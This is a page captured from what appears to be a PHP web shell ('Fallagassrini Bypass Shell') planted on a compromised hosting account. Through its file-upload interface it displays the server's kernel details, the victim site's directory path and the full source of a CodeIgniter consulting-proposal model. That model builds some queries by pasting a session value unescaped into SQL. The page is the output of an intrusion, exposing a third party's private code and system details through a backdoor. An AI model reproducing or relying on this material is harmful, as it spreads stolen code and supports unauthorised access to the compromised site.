? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/sgms/application/models/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/sgms/application/models/consultingmodel.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');


class Consultingmodel extends CI_Model
{
    function __construct()
    {
        // Call the Model constructor
        parent::__construct();
    }

 /*Search function starts here*/


    function search_consulting_proposal($pagenum)
    {
        $data=array();
        if($this->mastermodel->check_private())
        {
            $flag=1;
        }
        else
        {
            $flag=0;
        }
        $this->db->from('consulting_proposal');
        $this->db->join('activity','activity.activity_id=consulting_proposal.activity_id');
        $this->db->join('customer','customer.customer_id=consulting_proposal.customer_id');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext);
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext);
        }
        $this->db->select('*');
        $this->db->from('consulting_proposal');
        $this->db->join('activity','activity.activity_id=consulting_proposal.activity_id');
        $this->db->join('customer','customer.customer_id=consulting_proposal.customer_id');
        if($flag==1)
        {
            $this->db->join('master','master.masterid=consulting_proposal.consulting_proposal_id');
            $this->db->where('`master`.`owner_id` IN ('.$_SESSION['employees'].')', NULL, FALSE);
        }
        $this->db->limit($perpage, $start);
        $this->db->order_by('consulting_proposal_id','desc');
        $data['results']=$this->db->get();
        return $data;
    }

    function insert_consulting_proposal($postdata)
    {
        $data=array();
        $this->db->trans_begin();
        $owner_id=$this->mastermodel->getSingleFieldValue('master','owner_id','masterid',$postdata['customer_id']);
        $masterid = $this->mastermodel->insertmasterdata($owner_id);
        $consulting_proposal_date = $this->mastermodel->convertdateformat($postdata['consulting_proposal_date']);
        $tblValues=array('consulting_proposal_id'=>$masterid,
                        'consulting_proposal_date'=>$consulting_proposal_date,
                        'consulting_proposal_title'=>$postdata['consulting_proposal_title'],
                        'activity_id'=>$postdata['activity_id'],
                        'customer_id'=>$postdata['customer_id'],
                        'source_id'=>$postdata['source_id'],
                        
                        'consulting_proposal_remarks'=>$postdata['consulting_proposal_remarks'],
                        'proposal_code'=>$postdata['proposal_code']);
        $this->db->insert('consulting_proposal', $tblValues);
        $i=1;
        while(isset($postdata['description'.$i]))
        {
            $tblValues=array('consulting_proposal_id'=>$masterid,
                        'description'=>$postdata['description'.$i],
                        'price'=>$postdata['price'.$i],
                        'discount'=>$postdata['discount'.$i]);
            $this->db->insert('consulting_proposal_details', $tblValues);
            $i++;
        }
        $data['resfunction']='search_consulting_proposal';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Added Successfully';
            return $data;
        }
    }

    function update_consulting_proposal($postdata)
    {
        $data=array();
        $this->db->trans_begin();
        $this->mastermodel->updatemasterdata($postdata['consulting_proposal_id']);
        $consulting_proposal_date = $this->mastermodel->convertdateformat($postdata['consulting_proposal_date']);
        $tblValues=array(
                        'consulting_proposal_date'=>$consulting_proposal_date,
                        'consulting_proposal_title'=>$postdata['consulting_proposal_title'],
                        'source_id'=>$postdata['source_id'],
                        
                        'consulting_proposal_remarks'=>$postdata['consulting_proposal_remarks'],
                      );
        $this->db->where('consulting_proposal_id', $postdata['consulting_proposal_id']);
        $this->db->update('consulting_proposal', $tblValues);
        

        $i=1;

        $this->db->where('consulting_proposal_id', $postdata['consulting_proposal_id']);
        $this->db->delete('consulting_proposal_details');
        while(isset($postdata['description'.$i]))
        {
            $tblValues=array('consulting_proposal_id'=> $postdata['consulting_proposal_id'],
                        'description'=>$postdata['description'.$i],
                        
                        'price'=>$postdata['price'.$i],
                        'discount'=>$postdata['discount'.$i]);
            $this->db->insert('consulting_proposal_details', $tblValues);
            $i++;
        }
        $data['resfunction']='search_consulting_proposal';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Added Successfully';
            return $data;
        }
    }

    function search_confirmation($pagenum)
    {
        $data=array();
        if($this->mastermodel->check_private())
        {
            $flag=1;
        }
        else
        {
            $flag=0;
        }
        $this->db->from('consulting_confirmation');
        $this->db->join('consulting_proposal','consulting_proposal.consulting_proposal_id=consulting_confirmation.consulting_proposal_id');
        $this->db->join('customer','customer.customer_id=consulting_proposal.customer_id');
        $this->db->join('activity','activity.activity_id=consulting_proposal.activity_id');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext);
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext);
        }
        $this->db->select('*');
        $this->db->from('consulting_confirmation');
        $this->db->join('consulting_proposal','consulting_proposal.consulting_proposal_id=consulting_confirmation.consulting_proposal_id');
        $this->db->join('customer','customer.customer_id=consulting_proposal.customer_id');
        $this->db->join('activity','activity.activity_id=consulting_proposal.activity_id');
        if($flag==1)
        {
            $this->db->join('master','master.masterid=consulting_confirmation.confirmation_id');
            $this->db->where('`master`.`owner_id` IN ('.$_SESSION['employees'].')', NULL, FALSE);
        }
        $this->db->limit($perpage, $start);
        $this->db->order_by('confirmation_id','desc');
        $data['results']=$this->db->get();
        return $data;
    }

    function insert_confirmation($postdata)
    {
        $data=array();
        $owner_id=$this->mastermodel->getsinglejoinedvalue('owner_id','master','consulting_proposal','masterid','customer_id','consulting_proposal_id',$postdata['consulting_proposal_id']);
        $this->db->trans_begin();
        $masterid = $this->mastermodel->insertmasterdata($owner_id);
        $confirmation_date = $this->mastermodel->convertdateformat($postdata['confirmation_date']);
        $tblValues=array('confirmation_id'=>$masterid,
                         'consulting_proposal_id'=>$postdata['consulting_proposal_id'],
                        'confirmation_date'=>$confirmation_date,
                        'confirmation_status'=>$postdata['confirmation_status'],
                        'confirmation_remarks'=>$postdata['confirmation_remarks'],
                        
                        'terms_conditions'=> $postdata['terms_conditions']);
        $this->db->insert('consulting_confirmation', $tblValues);
        $data['confirmation_id']=$masterid;
        $i=1;
        while(isset($postdata['description'.$i]))
        {
            $tblValues=array('confirmation_id'=>$masterid,
                        'description'=>$postdata['description'.$i],
                        
                        'price'=>$postdata['price'.$i],
                        'discount'=>$postdata['discount'.$i]);
            $this->db->insert('consulting_confirmation_details', $tblValues);
            $i++;
        }
        $data['resfunction']='search_confirmation';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Added Successfully';
            return $data;
        }
    }

    function update_confirmation($postdata)
    {
        $data=array();
        $this->db->trans_begin();
        $masterid = $this->mastermodel->updatemasterdata($postdata['confirmation_id']);
        $confirmation_date = $this->mastermodel->convertdateformat($postdata['confirmation_date']);
        $tblValues=array(
                        'consulting_proposal_id'=>$postdata['consulting_proposal_id'],
                        'confirmation_date'=>$confirmation_date,
                        'confirmation_status'=>$postdata['confirmation_status'],
                        'terms_conditions'=>$postdata['terms_conditions'],
                        'confirmation_remarks'=>$postdata['confirmation_remarks']);
        $this->db->where('confirmation_id', $postdata['confirmation_id']);
        $this->db->update('consulting_confirmation', $tblValues);
        $i=1;
//        if($postdata['fie_location']!='')
//        {
//            $tblValues=array(
//                        'fie_location'=>$postdata['fie_location'],
//                      );
//             $this->db->where('confirmation_id', $postdata['confirmation_id']);
//                $this->db->update('consulting_confirmation', $tblValues);
//        }

        $this->db->where('confirmation_id', $postdata['confirmation_id']);
        $this->db->delete('consulting_confirmation_details');
        while(isset($postdata['description'.$i]))
        {
            $tblValues=array('confirmation_id'=>$postdata['confirmation_id'],
                        'description'=>$postdata['description'.$i],
                        
                        'price'=>$postdata['price'.$i],
                        'discount'=>$postdata['discount'.$i]);
            $this->db->insert('consulting_confirmation_details', $tblValues);
            $i++;
        }
        $data['resfunction']='search_confirmation';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Added Successfully';
            return $data;
        }
    }

    function update_confirmation_payment($postdata)
    {
        $data=array();
        $this->db->trans_begin();

        $refs=$this->mastermodel->get_data('refs_records',$postdata['confirmation_id'],'record_id');
        if(count($refs) != 0)
        {
            foreach($refs as $list)
            {
                $ref_id=$list['ref_id'];
                $this->db->where('ref_id',$ref_id);
                $this->db->delete('gl_trans');

                $this->db->where('ref_id',$ref_id);
                $this->db->delete('audit_trail');

                $this->db->where('ref_id',$ref_id);
                $this->db->delete('refs');

            }
            $this->db->where('confirmation_id',$postdata['confirmation_id']);
            $this->db->delete('consulting_confirmation_payment');
            $this->db->where('record_id',$postdata['confirmation_id']);
            $this->db->delete('refs_records');
        }
        $tblValues=array('confirmation_id'=> $postdata['confirmation_id'],
                         'payment_method'=> $postdata['payment_method'],
                         'amount'=> $postdata['amount']);
        $this->db->insert('consulting_confirmation_payment', $tblValues);

        $reference_code= $this->accountingmodel->getreferencecode(6);
        $ref_id = $this->mastermodel->insertmasterdata();
        $refdata=array('ref_id'=>$ref_id,
                        'ref_transaction_type_id'=>'6',
                        'ref_code'=>$reference_code);
        $this->db->insert('refs', $refdata);

        $refdata=array('ref_id'=>$ref_id,
                      'record_id'=>$_POST['confirmation_id'],
                      'type'=>'confirmation');
        $this->db->insert('refs_records', $refdata);

        $fiscal_year_id=$this->mastermodel->getSingleFieldValue('company','fiscal_year_id','company_id','1');

        $audittraildata=array('ref_id'=>$ref_id,
                              'transaction_date'=>date("Y-m-d"),
                              'fiscal_year'=>$fiscal_year_id,
                              );
        $this->db->insert('audit_trail', $audittraildata);

        $gldata=array('ref_id'=>$ref_id,
                      'transaction_date'=>date("Y-m-d"),
                      'account_code'=>$postdata['customer_account'],
                      'amount'=>$postdata['amount'],
                      );
        $this->db->insert('gl_trans', $gldata);

        $gldata=array('ref_id'=>$ref_id,
                      'transaction_date'=>date("Y-m-d"),
                      'account_code'=>$postdata['project_account'],
                      'amount'=>-$postdata['amount'],
                      );
        $this->db->insert('gl_trans', $gldata);

        $data['resfunction']='search_confirmation';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Updating Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Payment Details Added Successfully';
            return $data;
        }
    }

    
    function get_proposal_info($consulting_proposal_id)
    {
        $this->db->select('*');
        $this->db->from('consulting_proposal');
        $this->db->join('customer','customer.customer_id=consulting_proposal.customer_id');
        $this->db->where('consulting_proposal_id',$consulting_proposal_id);
        $Q=$this->db->get();
        $row=$Q->row();
        return $row;
    }

    
}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net